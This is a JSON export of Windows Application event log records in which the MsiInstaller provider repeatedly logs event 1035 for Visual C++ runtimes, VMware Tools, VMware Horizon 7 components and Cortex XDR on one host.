{"@timestamp":1657392790753,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169945}}
{"@timestamp":1657392790803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169946}}
{"@timestamp":1657392790843,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169947}}
{"@timestamp":1657392790873,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169948}}
{"@timestamp":1657392790906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169949}}
{"@timestamp":1657392790934,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169950}}
{"@timestamp":1657392790961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169951}}
{"@timestamp":1657392791000,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169952}}
{"@timestamp":1657392791029,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169953}}
{"@timestamp":1657392850835,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169954}}
{"@timestamp":1657392850868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169955}}
{"@timestamp":1657392850923,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169956}}
{"@timestamp":1657392850976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169957}}
{"@timestamp":1657392851006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169958}}
{"@timestamp":1657392851038,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169959}}
{"@timestamp":1657392851065,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169960}}
{"@timestamp":1657392851091,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169961}}
{"@timestamp":1657392851127,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169962}}
{"@timestamp":1657392851156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169963}}
{"@timestamp":1657392910924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169964}}
{"@timestamp":1657392910950,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169965}}
{"@timestamp":1657392911000,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169966}}
{"@timestamp":1657392911040,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169967}}
{"@timestamp":1657392911068,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169968}}
{"@timestamp":1657392911099,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169969}}
{"@timestamp":1657392911126,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169970}}
{"@timestamp":1657392911152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169971}}
{"@timestamp":1657392911188,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169972}}
{"@timestamp":1657392911215,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169973}}
{"@timestamp":1657392970924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169974}}
{"@timestamp":1657392970950,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169975}}
{"@timestamp":1657392971001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169976}}
{"@timestamp":1657392971041,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169977}}
{"@timestamp":1657392971070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169978}}
{"@timestamp":1657392971101,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169979}}
{"@timestamp":1657392971128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169980}}
{"@timestamp":1657392971155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169981}}
{"@timestamp":1657392971191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169982}}
{"@timestamp":1657392971220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169983}}
{"@timestamp":1657393030986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169984}}
{"@timestamp":1657393031013,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169985}}
{"@timestamp":1657393031063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169986}}
{"@timestamp":1657393031103,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169987}}
{"@timestamp":1657393031131,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169988}}
{"@timestamp":1657393031162,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169989}}
{"@timestamp":1657393031189,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169990}}
{"@timestamp":1657393031215,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169991}}
{"@timestamp":1657393031252,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169992}}
{"@timestamp":1657393031280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169993}}
{"@timestamp":1657393090724,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169994}}
{"@timestamp":1657393090750,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169995}}
{"@timestamp":1657393090800,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169996}}
{"@timestamp":1657393090839,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169997}}
{"@timestamp":1657393090867,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169998}}
{"@timestamp":1657393090898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169999}}
{"@timestamp":1657393090928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170000}}
{"@timestamp":1657393090955,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170001}}
{"@timestamp":1657393090992,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170002}}
{"@timestamp":1657393091021,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170003}}
{"@timestamp":1657393150771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170004}}
{"@timestamp":1657393150799,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170005}}
{"@timestamp":1657393150850,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170006}}
{"@timestamp":1657393150891,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170007}}
{"@timestamp":1657393150921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170008}}
{"@timestamp":1657393150953,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170009}}
{"@timestamp":1657393150980,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170010}}
